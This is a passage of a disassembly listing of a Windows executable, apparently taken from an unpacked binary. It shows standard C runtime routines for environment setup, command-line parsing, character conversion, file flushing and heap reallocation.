		mov	al, [esi]
		test	al, al
		jnz	short loc_41482D


loc_414838:				; CODE XREF: sub_4147D3+1Ej
					; sub_4147D3+5Cj
		mov	eax, esi
		pop	esi
		retn
sub_4147D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41483C	proc near		; CODE XREF: .text:loc_40F984p
		push	ebx
		xor	ebx, ebx
		cmp	dword_4C5ED0, ebx
		push	esi
		push	edi
		jnz	short loc_41484E
		call	sub_411A10


loc_41484E:				; CODE XREF: sub_41483C+Bj
		mov	esi, dword_4C5964
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_41486C
		jmp	short loc_41488C
; ---------------------------------------------------------------------------


loc_41485C:				; CODE XREF: sub_41483C+34j
		cmp	al, 3Dh
		jz	short loc_414861
		inc	edi


loc_414861:				; CODE XREF: sub_41483C+22j
		push	esi
		call	sub_40D630
		pop	ecx
		lea	esi, [esi+eax+1]


loc_41486C:				; CODE XREF: sub_41483C+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41485C
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_40E74F
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	dword_4C5930, edi
		jnz	short loc_414891


loc_41488C:				; CODE XREF: sub_41483C+1Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_4148E9
; ---------------------------------------------------------------------------


loc_414891:				; CODE XREF: sub_41483C+4Ej
		mov	esi, dword_4C5964
		push	ebp
		jmp	short loc_4148C4
; ---------------------------------------------------------------------------


loc_41489A:				; CODE XREF: sub_41483C+8Aj
		push	esi
		call	sub_40D630
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_4148C2
		push	ebp
		call	sub_40E74F
		cmp	eax, ebx
		pop	ecx
		mov	[edi], eax
		jz	short loc_4148ED
		push	esi
		push	eax
		call	sub_40D8A0
		pop	ecx
		pop	ecx
		add	edi, 4


loc_4148C2:				; CODE XREF: sub_41483C+6Bj
		add	esi, ebp


loc_4148C4:				; CODE XREF: sub_41483C+5Cj
		cmp	[esi], bl
		jnz	short loc_41489A
		push	dword_4C5964
		call	sub_40E359
		mov	dword_4C5964, ebx
		mov	[edi], ebx
		mov	dword_4C5EC4, 1
		xor	eax, eax


loc_4148E7:				; CODE XREF: sub_41483C+C5j
		pop	ecx
		pop	ebp


loc_4148E9:				; CODE XREF: sub_41483C+53j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4148ED:				; CODE XREF: sub_41483C+78j
		push	dword_4C5930
		call	sub_40E359
		mov	dword_4C5930, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_4148E7
sub_41483C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414903	proc near		; CODE XREF: sub_414A6F+54p
					; sub_414A6F+85p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_414926
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_414926:				; CODE XREF: sub_414903+18j
					; sub_414903+65j ...
		cmp	byte ptr [eax],	22h
		jnz	short loc_414939
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_414966
; ---------------------------------------------------------------------------


loc_414939:				; CODE XREF: sub_414903+26j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_414944
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi


loc_414944:				; CODE XREF: sub_414903+3Aj
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	byte_4C5B81[ebx], 4
		jz	short loc_41495F
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41495E
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi


loc_41495E:				; CODE XREF: sub_414903+54j
		inc	eax


loc_41495F:				; CODE XREF: sub_414903+4Ej
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	short loc_414998


loc_414966:				; CODE XREF: sub_414903+34j
		test	edx, edx
		jnz	short loc_414926
		cmp	cl, 20h
		jz	short loc_414974
		cmp	cl, 9
		jnz	short loc_414926


loc_414974:				; CODE XREF: sub_414903+6Aj
		test	edi, edi
		jz	short loc_41497C
		and	byte ptr [edi-1], 0


loc_41497C:				; CODE XREF: sub_414903+73j
					; sub_414903+96j
		and	[ebp+var_4], 0


loc_414980:				; CODE XREF: sub_414903+157j
		cmp	byte ptr [eax],	0
		jz	loc_414A5F


loc_414989:				; CODE XREF: sub_414903+93j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_414995
		cmp	cl, 9
		jnz	short loc_41499B


loc_414995:				; CODE XREF: sub_414903+8Bj
		inc	eax
		jmp	short loc_414989
; ---------------------------------------------------------------------------


loc_414998:				; CODE XREF: sub_414903+61j
		dec	eax
		jmp	short loc_41497C
; ---------------------------------------------------------------------------


loc_41499B:				; CODE XREF: sub_414903+90j
		cmp	byte ptr [eax],	0
		jz	loc_414A5F
		cmp	[ebp+arg_0], 0
		jz	short loc_4149B3
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_4149B3:				; CODE XREF: sub_414903+A5j
		inc	dword ptr [ebx]


loc_4149B5:				; CODE XREF: sub_414903+145j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_4149BE
; ---------------------------------------------------------------------------


loc_4149BC:				; CODE XREF: sub_414903+BEj
		inc	eax
		inc	edx


loc_4149BE:				; CODE XREF: sub_414903+B7j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_4149BC
		cmp	byte ptr [eax],	22h
		jnz	short loc_4149EE
		test	dl, 1
		jnz	short loc_4149EC
		cmp	[ebp+var_4], 0
		jz	short loc_4149DF
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_4149DF
		mov	eax, ecx
		jmp	short loc_4149E1
; ---------------------------------------------------------------------------


loc_4149DF:				; CODE XREF: sub_414903+CEj
					; sub_414903+D6j
		xor	ebx, ebx


loc_4149E1:				; CODE XREF: sub_414903+DAj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx


loc_4149EC:				; CODE XREF: sub_414903+C8j
		shr	edx, 1


loc_4149EE:				; CODE XREF: sub_414903+C3j
		test	edx, edx
		jz	short loc_4149FF


loc_4149F2:				; CODE XREF: sub_414903+FAj
		test	edi, edi
		jz	short loc_4149FA
		mov	byte ptr [edi],	5Ch
		inc	edi


loc_4149FA:				; CODE XREF: sub_414903+F1j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_4149F2


loc_4149FF:				; CODE XREF: sub_414903+EDj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_414A4D
		cmp	[ebp+var_4], 0
		jnz	short loc_414A15
		cmp	cl, 20h
		jz	short loc_414A4D
		cmp	cl, 9
		jz	short loc_414A4D


loc_414A15:				; CODE XREF: sub_414903+106j
		test	ebx, ebx
		jz	short loc_414A47
		test	edi, edi
		jz	short loc_414A36
		movzx	edx, cl
		test	byte_4C5B81[edx], 4
		jz	short loc_414A2F
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]


loc_414A2F:				; CODE XREF: sub_414903+124j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_414A45
; ---------------------------------------------------------------------------


loc_414A36:				; CODE XREF: sub_414903+118j
		movzx	ecx, cl
		test	byte_4C5B81[ecx], 4
		jz	short loc_414A45
		inc	eax
		inc	dword ptr [esi]


loc_414A45:				; CODE XREF: sub_414903+131j
					; sub_414903+13Dj
		inc	dword ptr [esi]


loc_414A47:				; CODE XREF: sub_414903+114j
		inc	eax
		jmp	loc_4149B5
; ---------------------------------------------------------------------------


loc_414A4D:				; CODE XREF: sub_414903+100j
					; sub_414903+10Bj ...
		test	edi, edi
		jz	short loc_414A55
		and	byte ptr [edi],	0
		inc	edi


loc_414A55:				; CODE XREF: sub_414903+14Cj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_414980
; ---------------------------------------------------------------------------


loc_414A5F:				; CODE XREF: sub_414903+80j
					; sub_414903+9Bj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_414A69
		and	dword ptr [eax], 0


loc_414A69:				; CODE XREF: sub_414903+161j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
sub_414903	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A6F	proc near		; CODE XREF: .text:0040F973p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4C5ED0, edi
		jnz	short loc_414A86
		call	sub_411A10


loc_414A86:				; CODE XREF: sub_414A6F+10j
		and	byte_4C5AD4, 0
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	edi
		call	dword_419090	; GetModuleFileNameA
		mov	eax, dword_4C5EC0
		cmp	eax, edi
		mov	off_4C5940, esi
		jz	short loc_414AB5
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jnz	short loc_414AB7


loc_414AB5:				; CODE XREF: sub_414A6F+3Dj
		mov	ebx, esi


loc_414AB7:				; CODE XREF: sub_414A6F+44j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_414903
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		shl	esi, 2
		add	eax, esi
		push	eax
		call	sub_40E74F
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_414AE7
		or	eax, 0FFFFFFFFh
		jmp	short loc_414B0C
; ---------------------------------------------------------------------------


loc_414AE7:				; CODE XREF: sub_414A6F+71j
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_414903
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	dword_4C5924, eax
		pop	ecx
		mov	dword_4C5928, edi
		xor	eax, eax


loc_414B0C:				; CODE XREF: sub_414A6F+76j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414A6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B11	proc near		; CODE XREF: .text:0040F969p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4C5AD8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, dword_41903C
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_414B5A
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_414B41
		mov	dword_4C5AD8, 1
		jmp	short loc_414B5F
; ---------------------------------------------------------------------------


loc_414B41:				; CODE XREF: sub_414B11+22j
		call	dword_4190AC	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_414B55
		mov	eax, ebp
		mov	dword_4C5AD8, eax
		jmp	short loc_414B5A
; ---------------------------------------------------------------------------


loc_414B55:				; CODE XREF: sub_414B11+39j
		mov	eax, dword_4C5AD8


loc_414B5A:				; CODE XREF: sub_414B11+1Aj
					; sub_414B11+42j
		cmp	eax, 1
		jnz	short loc_414BDC


loc_414B5F:				; CODE XREF: sub_414B11+2Ej
		cmp	esi, ebx
		jnz	short loc_414B6B
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_414BE4


loc_414B6B:				; CODE XREF: sub_414B11+50j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_414B80


loc_414B72:				; CODE XREF: sub_414B11+66j
					; sub_414B11+6Dj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_414B72
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_414B72


loc_414B80:				; CODE XREF: sub_414B11+5Fj
		mov	edi, dword_419058
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_414BD1
		push	ebp
		call	sub_40E74F
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_414BD1
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_414BCD
		push	[esp+18h+var_8]
		call	sub_40E359
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_414BCD:				; CODE XREF: sub_414B11+ACj
		mov	ebx, [esp+18h+var_8]


loc_414BD1:				; CODE XREF: sub_414B11+8Cj
					; sub_414B11+9Bj
		push	esi
		call	dword_419040	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_414C2C
; ---------------------------------------------------------------------------


loc_414BDC:				; CODE XREF: sub_414B11+4Cj
		cmp	eax, ebp
		jz	short loc_414BE8
		cmp	eax, ebx
		jz	short loc_414BE8


loc_414BE4:				; CODE XREF: sub_414B11+58j
					; sub_414B11+E1j
		xor	eax, eax
		jmp	short loc_414C2C
; ---------------------------------------------------------------------------


loc_414BE8:				; CODE XREF: sub_414B11+CDj
					; sub_414B11+D1j
		call	dword_419044	; GetEnvironmentStrings
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_414BE4
		cmp	[esi], bl
		jz	short loc_414C02


loc_414BF8:				; CODE XREF: sub_414B11+EAj
					; sub_414B11+EFj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_414BF8
		inc	eax
		cmp	[eax], bl
		jnz	short loc_414BF8


loc_414C02:				; CODE XREF: sub_414B11+E5j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_40E74F
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_414C18
		xor	edi, edi
		jmp	short loc_414C23
; ---------------------------------------------------------------------------


loc_414C18:				; CODE XREF: sub_414B11+101j
		push	ebp
		push	esi
		push	edi
		call	sub_40E3A0
		add	esp, 0Ch


loc_414C23:				; CODE XREF: sub_414B11+105j
		push	esi
		call	dword_419048	; FreeEnvironmentStringsA
		mov	eax, edi


loc_414C2C:				; CODE XREF: sub_414B11+C9j
					; sub_414B11+D5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_414B11	endp

; ---------------------------------------------------------------------------
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_414C80	proc near		; CODE XREF: sub_40FA2B+64p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4C5DA0
		jb	short loc_414C8F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_414C8F:				; CODE XREF: sub_414C80+Aj
		mov	ecx, eax
		sar	ecx, 5
		mov	ecx, dword_4C5DC0[ecx*4]
		and	eax, 1Fh
		movsx	eax, byte ptr [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_414C80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CA7	proc near		; CODE XREF: sub_40FBCF+317p
					; sub_40FBCF+6F7p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_414CB8
		xor	eax, eax
		jmp	short loc_414D0A
; ---------------------------------------------------------------------------


loc_414CB8:				; CODE XREF: sub_414CA7+Bj
		cmp	dword_4C5998, esi
		jnz	short loc_414CD2
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_414CFD
		mov	[eax], cl
		xor	eax, eax
		inc	eax
		jmp	short loc_414D0A
; ---------------------------------------------------------------------------


loc_414CD2:				; CODE XREF: sub_414CA7+17j
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		push	dword_4214F4
		mov	[ebp+arg_0], esi
		push	eax
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		push	dword_4C59A8
		call	dword_419058	; WideCharToMultiByte
		cmp	eax, esi
		jz	short loc_414CFD
		cmp	[ebp+arg_0], esi
		jz	short loc_414D0A


loc_414CFD:				; CODE XREF: sub_414CA7+22j
					; sub_414CA7+4Fj
		mov	dword_4C5904, 2Ah
		or	eax, 0FFFFFFFFh


loc_414D0A:				; CODE XREF: sub_414CA7+Fj
					; sub_414CA7+29j ...
		pop	esi
		pop	ebp
		retn
sub_414CA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D0D	proc near		; CODE XREF: sub_410863+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4C5DA0
		jnb	short loc_414D56
		mov	ecx, eax
		sar	ecx, 5
		mov	ecx, dword_4C5DC0[ecx*4]
		mov	edx, eax
		and	edx, 1Fh
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_414D56
		push	eax
		call	sub_415FAA
		pop	ecx
		push	eax
		call	dword_419038	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_414D4B
		call	dword_4190AC	; RtlGetLastWin32Error
		jmp	short loc_414D4D
; ---------------------------------------------------------------------------


loc_414D4B:				; CODE XREF: sub_414D0D+34j
		xor	eax, eax


loc_414D4D:				; CODE XREF: sub_414D0D+3Cj
		test	eax, eax
		jz	short locret_414D63
		mov	dword_4C5908, eax


loc_414D56:				; CODE XREF: sub_414D0D+Aj
					; sub_414D0D+22j
		mov	dword_4C5904, 9
		or	eax, 0FFFFFFFFh

locret_414D63:				; CODE XREF: sub_414D0D+42j
		retn
sub_414D0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D64	proc near		; CODE XREF: sub_41095C+8Ap
					; sub_41095C+464p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_414DB0
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_414D82
		test	al, al
		jns	short loc_414DB0
		test	al, 2
		jnz	short loc_414DB0


loc_414D82:				; CODE XREF: sub_414D64+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_414D8F
		push	esi
		call	sub_4106EF
		pop	ecx


loc_414D8F:				; CODE XREF: sub_414D64+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_414D9F
		cmp	dword ptr [esi+4], 0
		jnz	short loc_414DB0
		inc	eax
		mov	[esi], eax


loc_414D9F:				; CODE XREF: sub_414D64+30j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
		jz	short loc_414DB6
		cmp	[eax], bl
		jz	short loc_414DB8
		inc	eax
		mov	[esi], eax


loc_414DB0:				; CODE XREF: sub_414D64+9j
					; sub_414D64+18j ...
		or	eax, 0FFFFFFFFh


loc_414DB3:				; CODE XREF: sub_414D64+6Aj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_414DB6:				; CODE XREF: sub_414D64+43j
		mov	[eax], bl


loc_414DB8:				; CODE XREF: sub_414D64+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_414DB3
sub_414D64	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DD0	proc near		; CODE XREF: sub_41095C+77p
					; sub_41095C+9Bp ...

arg_0		= dword	ptr  4

		cmp	dword_4214F4, 1
		jle	short loc_414DE7
		push	8
		push	[esp+4+arg_0]
		call	sub_41328D
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_414DE7:				; CODE XREF: sub_414DD0+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8
		retn
sub_414DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DF9	proc near		; CODE XREF: sub_41095C+714p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_414E1C
		cmp	[ebp+arg_8], ebx
		jz	short loc_414E1C
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_414E22
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_414E1C
		mov	[eax], bx


loc_414E1C:				; CODE XREF: sub_414DF9+Cj
					; sub_414DF9+11j ...
		xor	eax, eax


loc_414E1E:				; CODE XREF: sub_414DF9+42j
					; sub_414DF9+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414E22:				; CODE XREF: sub_414DF9+17j
		cmp	dword_4C5998, ebx
		jnz	short loc_414E3D
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_414E38
		movzx	ax, al
		mov	[ecx], ax


loc_414E38:				; CODE XREF: sub_414DF9+36j
					; sub_414DF9+C0j
		xor	eax, eax
		inc	eax
		jmp	short loc_414E1E
; ---------------------------------------------------------------------------


loc_414E3D:				; CODE XREF: sub_414DF9+2Fj
		mov	ecx, off_4214EC
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_414E9A
		mov	eax, dword_4214F4
		cmp	eax, 1
		jle	short loc_414E81
		cmp	[ebp+arg_8], eax
		jl	short loc_414E84
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4C59A8
		call	dword_41913C	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_4214F4
		jnz	short loc_414E1E


loc_414E81:				; CODE XREF: sub_414DF9+5Cj
		cmp	[ebp+arg_8], eax


loc_414E84:				; CODE XREF: sub_414DF9+61j
		jb	short loc_414E8B
		cmp	[esi+1], bl
		jnz	short loc_414E1E


loc_414E8B:				; CODE XREF: sub_414DF9:loc_414E84j
					; sub_414DF9+C6j
		mov	dword_4C5904, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_414E1E
; ---------------------------------------------------------------------------


loc_414E9A:				; CODE XREF: sub_414DF9+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4C59A8
		call	dword_41913C	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_414E38
		jmp	short loc_414E8B
sub_414DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EC1	proc near		; CODE XREF: sub_41095C+561p
					; sub_412ED1+FDp ...

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_40D9A0
		mov	ebx, esp
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_41902C	; VirtualQuery
		test	eax, eax
		jz	short loc_414F56
		mov	edi, [ebp+var_20]
		lea	eax, [ebp+var_48]
		push	eax
		call	dword_419030	; GetSystemInfo
		mov	eax, [ebp+var_44]
		lea	esi, [eax-1]
		not	esi
		and	esi, ebx
		sub	esi, eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4C5910
		mov	ecx, eax
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFF1000h
		add	ecx, 11000h
		add	ecx, edi
		cmp	esi, ecx
		jb	short loc_414F56
		cmp	eax, 1
		jz	short loc_414F6E
		mov	ebx, edi
		mov	edi, 1000h


loc_414F2B:				; CODE XREF: sub_414EC1+81j
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_41902C	; VirtualQuery
		test	eax, eax
		jz	short loc_414F56
		add	ebx, [ebp+var_18]
		test	[ebp+var_14], edi
		jz	short loc_414F2B
		test	[ebp+var_F], 1
		mov	ebx, [ebp+var_24]
		jz	short loc_414F52
		xor	eax, eax
		inc	eax
		jmp	short loc_414F8A
; ---------------------------------------------------------------------------


loc_414F52:				; CODE XREF: sub_414EC1+8Aj
		cmp	esi, ebx
		jnb	short loc_414F5A


loc_414F56:				; CODE XREF: sub_414EC1+22j
					; sub_414EC1+5Cj ...
		xor	eax, eax
		jmp	short loc_414F8A
; ---------------------------------------------------------------------------


loc_414F5A:				; CODE XREF: sub_414EC1+93j
		push	4
		push	edi
		push	[ebp+var_4]
		push	ebx
		call	dword_419174	; VirtualAlloc
		mov	eax, dword_4C5910
		jmp	short loc_414F70
; ---------------------------------------------------------------------------


loc_414F6E:				; CODE XREF: sub_414EC1+61j
		mov	ebx, esi


loc_414F70:				; CODE XREF: sub_414EC1+ABj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_8]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	ebx
		call	dword_419034	; VirtualProtect


loc_414F8A:				; CODE XREF: sub_414EC1+8Fj
					; sub_414EC1+97j
		lea	esp, [ebp-54h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414EC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F92	proc near		; CODE XREF: sub_4114F6+34p
					; sub_4114F6+49p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	ebp
		push	edi
		jnz	short loc_414FAC
		push	[esp+0Ch+arg_4]
		call	sub_40E74F
		pop	ecx
		jmp	loc_4150F0
; ---------------------------------------------------------------------------


loc_414FAC:				; CODE XREF: sub_414F92+9j
		push	esi
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_414FC1
		push	ebx
		call	sub_40E359
		pop	ecx
		jmp	loc_4150ED
; ---------------------------------------------------------------------------


loc_414FC1:				; CODE XREF: sub_414F92+21j
		cmp	dword_4C5B68, 3
		jnz	loc_4150B9


loc_414FCE:				; CODE XREF: sub_414F92+11Bj
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41509B
		push	ebx
		call	sub_4120C4
		mov	ebp, eax
		test	ebp, ebp
		pop	ecx
		jz	loc_41507A
		cmp	esi, dword_4C5B54
		ja	short loc_41503A
		push	esi
		push	ebx
		push	ebp
		call	sub_4125C4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415005
		mov	edi, ebx
		jmp	short loc_415036
; ---------------------------------------------------------------------------


loc_415005:				; CODE XREF: sub_414F92+6Dj
		push	esi
		call	sub_4128A3
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_41503A
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41501C
		mov	eax, esi


loc_41501C:				; CODE XREF: sub_414F92+86j
		push	eax
		push	ebx
		push	edi
		call	sub_40E3A0
		push	ebx
		call	sub_4120C4
		mov	ebp, eax
		push	ebx
		push	ebp
		call	sub_4120EF
		add	esp, 18h


loc_415036:				; CODE XREF: sub_414F92+71j
		test	edi, edi
		jnz	short loc_415076


loc_41503A:				; CODE XREF: sub_414F92+5Ej
					; sub_414F92+7Ej
		test	esi, esi
		jnz	short loc_41503F
		inc	esi


loc_41503F:				; CODE XREF: sub_414F92+AAj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4C5B64
		call	dword_4191B8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_415076
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_415064
		mov	eax, esi


loc_415064:				; CODE XREF: sub_414F92+CEj
		push	eax
		push	ebx
		push	edi
		call	sub_40E3A0
		push	ebx
		push	ebp
		call	sub_4120EF
		add	esp, 14h


loc_415076:				; CODE XREF: sub_414F92+A6j
					; sub_414F92+C6j
		test	ebp, ebp
		jnz	short loc_415097


loc_41507A:				; CODE XREF: sub_414F92+52j
		test	esi, esi
		jnz	short loc_41507F
		inc	esi


loc_41507F:				; CODE XREF: sub_414F92+EAj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_4C5B64
		call	dword_419170	; RtlReAllocateHeap
		mov	edi, eax


loc_415097:				; CODE XREF: sub_414F92+E6j
		test	edi, edi
		jnz	short loc_4150B5


